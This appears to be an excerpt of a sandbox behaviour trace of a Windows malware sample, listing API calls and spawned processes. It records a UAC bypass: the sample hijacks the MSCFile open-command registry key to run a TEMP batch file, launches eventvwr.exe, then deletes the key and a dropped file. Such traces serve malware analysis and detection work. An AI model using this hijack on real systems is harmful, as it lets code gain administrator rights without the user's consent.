(HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.574] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x21833f8, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x2189528, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.574] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x21833f8, cchName=0x104 | out: lpName="Mozilla") returned 0x0 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozilla", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozilla", cchWideChar=7, lpMultiByteStr=0x2189498, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozilla", lpUsedDefaultChar=0x0) returned 7 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.574] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x21833f8, cchName=0x104 | out: lpName="Netscape") returned 0x0 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netscape", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netscape", cchWideChar=8, lpMultiByteStr=0x2189528, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netscape", lpUsedDefaultChar=0x0) returned 8 [0230.574] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.574] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.574] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x21833f8, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x2189498, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.575] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x21833f8, cchName=0x104 | out: lpName="Policies") returned 0x0 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x2189528, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.575] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x21833f8, cchName=0x104 | out: lpName="Wow6432Node") returned 0x0 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wow6432node", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wow6432node", cchWideChar=11, lpMultiByteStr=0x2189498, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow6432node", lpUsedDefaultChar=0x0) returned 11 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.575] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0230.575] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x21833f8, cchName=0x104 | out: lpName="Classes") returned 0x0 [0230.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35eae8 [0230.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x2189528, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.576] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189528) returned 1 [0230.576] RegOpenKeyExW (in: hKey=0x154, lpSubKey="Classes", ulOptions=0x0, samDesired=0x2010b, phkResult=0x18fb60 | out: phkResult=0x18fb60*=0x150) returned 0x0 [0230.576] RegCloseKey (hKey=0x154) returned 0x0 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189498 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2800) returned 0x21833f8 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2189498, cbMultiByte=26, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35ebf8 [0230.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2189498, cbMultiByte=26, lpWideCharStr=0x35ebf8, cchWideChar=26 | out: lpWideCharStr="MSCFile/shell/open/command") returned 26 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35ec80 [0230.576] RegOpenKeyExW (in: hKey=0x150, lpSubKey="MSCFile\\shell\\open\\command", ulOptions=0x0, samDesired=0x2010b, phkResult=0x18fb6c | out: phkResult=0x18fb6c*=0x0) returned 0x2 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2189e98 [0230.576] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.576] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0230.656] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x51d030, lpbSaclPresent=0x18fb2c, pSacl=0x18fb64, lpbSaclDefaulted=0x18fb2c | out: lpbSaclPresent=0x18fb2c, pSacl=0x18fb64, lpbSaclDefaulted=0x18fb2c) returned 1 [0230.656] RegCreateKeyExW (in: hKey=0x150, lpSubKey="MSCFile\\shell\\open\\command", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2010b, lpSecurityAttributes=0x18fb58, phkResult=0x18fb6c, lpdwDisposition=0x0 | out: phkResult=0x18fb6c*=0x158, lpdwDisposition=0x0) returned 0x0 [0230.657] LocalFree (hMem=0x51d030) returned 0x0 [0230.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\sUujcz.cmd", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0230.657] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189528 [0230.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\sUujcz.cmd", cchWideChar=57, lpMultiByteStr=0x2189528, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\sUujcz.cmd", lpUsedDefaultChar=0x0) returned 57 [0230.657] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189450 [0230.658] RegSetValueExA (in: hKey=0x158, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\sUujcz.cmd", cbData=0x3a | out: lpData="C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\TEMP\\sUujcz.cmd") returned 0x0 [0230.658] RegCloseKey (hKey=0x158) returned 0x0 [0230.658] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x5000) returned 0x2189e98 [0230.658] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x2189450 [0230.659] ShellExecuteExW (in: pExecInfo=0x18fb6c*(cbSize=0x3c, fMask=0x440, hwnd=0x0, lpVerb=0x0, lpFile="EventVwr.exe", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18fb6c*(cbSize=0x3c, fMask=0x440, hwnd=0x0, lpVerb=0x0, lpFile="EventVwr.exe", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x27c)) returned 1 [0245.543] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189e98) returned 1 [0245.543] NtDelayExecution (Alertable=0, Interval=0x18fb9c*=-30000000) returned 0x0 [0248.988] SHDeleteKeyA (hkey=0x150, pszSubKey="MSCFile") returned 0x0 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eae8) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21833f8) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189498) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35eb70) returned 1 [0248.990] RegCloseKey (hKey=0x150) returned 0x0 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21899a8) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35ea60) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e950) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21832f0) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e8c8) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e9d8) returned 1 [0248.990] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0x1388) returned 0x0 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21831e8) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2182850) returned 1 [0248.991] ReleaseMutex (hMutex=0x0) returned 0 [0248.991] GetLastError () returned 0x6 [0248.991] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2189180) returned 1 [0248.991] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x21890f0) returned 1 [0248.991] NtClose (Handle=0x124) returned 0x0 [0248.991] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c990) returned 1 [0248.991] NtClose (Handle=0x120) returned 0x0 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c948) returned 1 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c900) returned 1 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c240) returned 1 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c288) returned 1 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2188500) returned 1 [0248.992] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e9d8 [0248.992] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e9d8) returned 1 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0248.992] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e840 [0248.992] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35e9d8 [0248.992] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e840) returned 1 [0248.992] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1")) returned 1 [0248.993] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e9d8) returned 1 [0248.993] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x2187cf8) returned 1 [0248.993] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0248.993] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35e268) returned 1 [0248.993] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d288) returned 1 [0248.993] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35d5e8) returned 1 [0248.993] ExitProcess (uExitCode=0x0) Thread: id = 902 os_tid = 0x79c Thread: id = 916 os_tid = 0x7dc Thread: id = 932 os_tid = 0x154 Thread: id = 934 os_tid = 0x140 Process: id = "70" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x6fa4a000" os_pid = "0x7a8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "taskhost.exe SYSTEM" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 933 os_tid = 0x7ac Thread: id = 1075 os_tid = 0x5cc Thread: id = 1076 os_tid = 0x588 Process: id = "71" image_name = "eventvwr.exe" filename = "c:\\windows\\system32\\eventvwr.exe" page_root = "0x6e9f8000" os_pid = "0x13c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "69" os_parent_pid = "0x720" cmd_line = "\"C:\\Windows\\System32\\eventvwr.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 942 os_tid = 0x444 Process: id = "72" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x72ae8000" os_pid = "0x4a4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x238" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 944 os_tid = 0x4ac Thread: id = 947 os_tid = 0x4c0 Thread: id = 954 os_tid = 0x31c Thread: id = 955 os_tid = 0x310 Thread: id = 956 os_tid = 0x30c Thread: id = 957 os_tid = 0x57c Thread: id = 958 os_tid = 0x32c Process: id = "73" image_name = "consent.exe" filename = "c:\\windows\\system32\\consent.exe" page_root = "0x6d8ee000" os_pid = "0x304" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "51" os_parent_pid = "0x354" cmd_line = "consent.exe 852 310 0000000001D7B010" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d06c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 961 os_tid = 0x324 Thread: id = 962 os_tid = 0x328 Thread: id = 963 os_tid = 0x2fc Thread: id = 964 os_tid = 0x2f8 Thread: id = 965 os_tid = 0x4ec Thread: id = 966 os_tid = 0x50c Thread: id = 968 os_tid = 0x508 Thread: id = 969 os_tid = 0x4c8 Process: id = "74" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6bef2000" os_pid = "0x4c4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x238" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d06c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 970 os_tid = 0x5d8 Thread: id = 971 os_tid = 0x5e0 Thread: id = 972 os_tid = 0x5fc Thread: id = 973 os_tid = 0x5f8 Thread: id = 974 os_tid = 0x5b4 Thread: id = 975 os_tid = 0x5b0 Thread: id = 976 os_tid = 0x578 Process: id = "75" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6ce26000" os_pid = "0x5b8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x238" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d06c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 977 os_tid = 0x61c Thread: id = 978 os_tid = 0x364 Thread: id = 979 os_tid = 0x63c Thread: id = 980 os_tid = 0x36c Thread: id = 981 os_tid = 0x360 Thread: id = 982 os_tid = 0x648 Thread: id = 983 os_tid = 0x62c Process: id = "76" image_name = "eventvwr.exe" filename = "c:\\windows\\system32\\eventvwr.exe" page_root = "0x6d2f7000" os_pid = "0x650" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "69" os_parent_pid = "0x720" cmd_line = "\"C:\\Windows\\System32\\eventvwr.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 984 os_tid = 0x64c Thread: id = 985 os_tid = 0x658 Thread: id = 986 os_tid = 0x678 Thread: id = 987 os_tid = 0x690 Process: id = "77" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6ce2a000" os_pid = 